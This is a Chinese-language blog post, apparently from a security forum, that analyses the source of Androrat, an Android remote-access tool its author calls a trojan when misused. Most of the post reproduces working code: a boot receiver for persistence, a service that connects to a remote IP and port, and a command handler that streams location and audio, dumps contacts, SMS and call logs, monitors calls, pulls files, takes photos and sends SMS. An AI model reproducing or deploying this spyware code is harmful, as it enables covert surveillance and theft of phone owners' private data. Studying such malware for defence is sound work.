以前刚接触安卓安全的一篇文章,刚好接触到Androrat的源码,就学习分析并且记录下来了。
0x00 前言
Androrat原本是一个对Android设备进行远程管理的工具,但是使用不当的话,其实就相当于是一个木马程序。Androrat现在主要有两个版本,一个是国外原版,另一个是国内开发人员开发的,我这里分析的是国外原版(法国人写的- -|| 看不懂的注释..),没有经过太大改动。
那么它官方给出的功能有:
<receiver android:name="BootReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
<category android:name="android.intent.category.HOME" />
</intent-filter>
</receiver>
<service android:name="my.app.client.Client" >
<intent-filter>
<action android:name=".Client" />
</intent-filter>
</service>
<receiver android:name="my.app.client.AlarmListener">
</receiver>
<activity android:name="my.app.client.LauncherActivity" android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity android:name="my.app.alt.PhotoActivity" android:label="@string/app_name" >
</activity>
public void onClick(View view) {
Client.putExtra("IP", ipfield.getText().toString());
Client.putExtra("PORT", new Integer(portfield.getText().toString()));
startService(Client);
btnStart.setEnabled(false);
btnStop.setEnabled(true);
}
public void onCreate() {
Log.i(TAG, "In onCreate");
infos = new SystemInfo(this);
procCmd = new ProcessCommand(this);
loadPreferences();
}
public void process(short cmd, byte[] args, int chan)
{
this.commande = cmd;
this.chan = chan;
this.arguments = ByteBuffer.wrap(args);
if (commande == Protocol.GET_GPS_STREAM)
{
String provider = new String(arguments.array());
if (provider.compareTo("network") == 0 || provider.compareTo("gps") == 0) {
client.gps = new GPSListener(client, provider, chan);
client.sendInformation("Location request received");
}
else
client.sendError("Unknown provider '"+provider+"' for location");
} else if (commande == Protocol.STOP_GPS_STREAM)
{
client.gps.stop();
client.gps = null;
client.sendInformation("Location stopped");
} else if (commande == Protocol.GET_SOUND_STREAM)
{
client.sendInformation("Audio streaming request received");
client.audioStreamer = new AudioStreamer(client, arguments.getInt(), chan);
client.audioStreamer.run();
} else if (commande == Protocol.STOP_SOUND_STREAM)
{
client.audioStreamer.stop();
client.audioStreamer = null;
client.sendInformation("Audio streaming stopped");
} else if (commande == Protocol.GET_CALL_LOGS)
{
client.sendInformation("Call log request received");
if (!CallLogLister.listCallLog(client, chan, arguments.array()))
client.sendError("No call logs");
} else if (commande == Protocol.MONITOR_CALL)
{
client.sendInformation("Start monitoring call");
client.callMonitor = new CallMonitor(client, chan, arguments.array());
} else if (commande == Protocol.STOP_MONITOR_CALL)
{
client.callMonitor.stop();
client.callMonitor = null;
client.sendInformation("Call monitoring stopped");
} else if (commande == Protocol.GET_CONTACTS)
{
client.sendInformation("Contacts request received");
if (!ContactsLister.listContacts(client, chan, arguments.array()))
client.sendError("No contact to return");
} else if (commande == Protocol.LIST_DIR)
{
client.sendInformation("List directory request received");
String file = new String(arguments.array());
if (!DirLister.listDir(client, chan, file))
client.sendError("Directory: "+file+" not found");
} else if (commande == Protocol.GET_FILE)
{
String file = new String(arguments.array());
client.sendInformation("Download file "+file+" request received");
client.fileDownloader = new FileDownloader(client);
client.fileDownloader.downloadFile(file, chan);
} else if (commande == Protocol.GET_PICTURE)
{
client.sendInformation("Photo picture request received");
//if(client instanceof Client)
// client.sendError("Photo requested from a service (it will probably not work)");
client.photoTaker = new PhotoTaker(client, chan);
if (!client.photoTaker.takePhoto())
client.sendError("Something went wrong while taking the picture");
} else if (commande == Protocol.DO_TOAST)
{
client.toast = Toast.makeText(client, new String(arguments.array()), Toast.LENGTH_LONG);
client.toast.show();
} else if (commande == Protocol.SEND_SMS)
{
Map<String, String> information = EncoderHelper.decodeHashMap(arguments.array());
String num = information.get(Protocol.KEY_SEND_SMS_NUMBER);
String text = information.get(Protocol.KEY_SEND_SMS_BODY);
if (text.getBytes().length < 167)
SmsManager.getDefault().sendTextMessage(num, null, text, null, null);
else
{
ArrayList<String> multipleMsg = MessageDecoupator(text);
SmsManager.getDefault().sendMultipartTextMessage(num, null, multipleMsg, null, null);
}
client.sendInformation("SMS sent");
} else if (commande == Protocol.GIVE_CALL)
{
String uri = "tel:" + new String(arguments.array()) ;
intent = new Intent(Intent.ACTION_CALL,Uri.parse(uri));
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
client.startActivity(intent);
} else if (commande == Protocol.GET_SMS)
{
client.sendInformation("SMS list request received");
if(!SMSLister.listSMS(client, chan, arguments.array()))
client.sendError("No SMS match for filter");
} else if (commande == Protocol.MONITOR_SMS)
{
client.sendInformation("Start SMS monitoring");
client.smsMonitor = new SMSMonitor(client, chan, arguments.array());
} else if (commande == Protocol.STOP_MONITOR_SMS)
{
client.smsMonitor.stop();
client.smsMonitor = null;
client.sendInformation("SMS monitoring stopped");
}
else if (commande == Protocol.GET_PREFERENCE)
{
client.handleData(chan, loadPreferences().build());
}
else if (commande == Protocol.SET_PREFERENCE)
{
client.sendInformation("Preferences received");
savePreferences(arguments.array());
client.loadPreferences(); //Reload the new config for the client
}
else if(commande == Protocol.GET_ADV_INFORMATIONS) {
client.advancedInfos = new AdvancedSystemInfo(client, chan);
client.advancedInfos.getInfos();
}
else if(commande == Protocol.OPEN_BROWSER) {
String url = new String(arguments.array()) ;
Intent i = new Intent(Intent.ACTION_VIEW, Uri.parse(url));
i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
client.startActivity(i);
}
else if(commande == Protocol.DO_VIBRATE) {
Vibrator v = (Vibrator) client.getSystemService(Context.VIBRATOR_SERVICE);
long duration = arguments.getLong();
v.vibrate(duration);
}
else if(commande == Protocol.DISCONNECT) {
client.onDestroy();
}
else {
client.sendError("Command: "+commande+" unknown");
}
}
public void loadPreferences() {
PreferencePacket p = procCmd.loadPreferences();
waitTrigger = p.isWaitTrigger();
ip = p.getIp();
port = p.getPort();
authorizedNumbersCall = p.getPhoneNumberCall();
authorizedNumbersSMS = p.getPhoneNumberSMS();
authorizedNumbersKeywords = p.getKeywordSMS();
}
if(intent == null)
return START_STICKY;
String who = intent.getAction();
Log.i(TAG, "onStartCommand by: "+ who);
if (intent.hasExtra("IP"))
this.ip = intent.getExtras().getString("IP");
if (intent.hasExtra("PORT"))
this.port = intent.getExtras().getInt("PORT");
if(!isRunning) {
IntentFilter filterc = new IntentFilter("android.net.conn.CONNECTIVITY_CHANGE");
registerReceiver(ConnectivityCheckReceiver, filterc);
isRunning = true;
conn = new Connection(ip,port,this);
if(waitTrigger) {
registerSMSAndCall();
}
else {
Log.i(TAG,"Try to connect to "+ip+":"+port);
if(conn.connect()) {
packet = new CommandPacket();
readthread = new Thread(new Runnable() { public void run() { waitInstruction(); } });
readthread.start();
CommandPacket pack = new CommandPacket(Protocol.CONNECT, 0, infos.getBasicInfos());
handleData(0,pack.build());
//gps = new GPSListener(this, LocationManager.NETWORK_PROVIDER,(short)4); //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
isListening = true;
if(waitTrigger) {
unregisterReceiver(SMSreceiver);
unregisterReceiver(Callreceiver);
waitTrigger = false;
}
}
else {
if(isConnected) {
resetConnectionAttempts();
reconnectionAttempts();
}
else {
Log.w(TAG,"Not Connected wait a Network update");
}
}
}
}
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!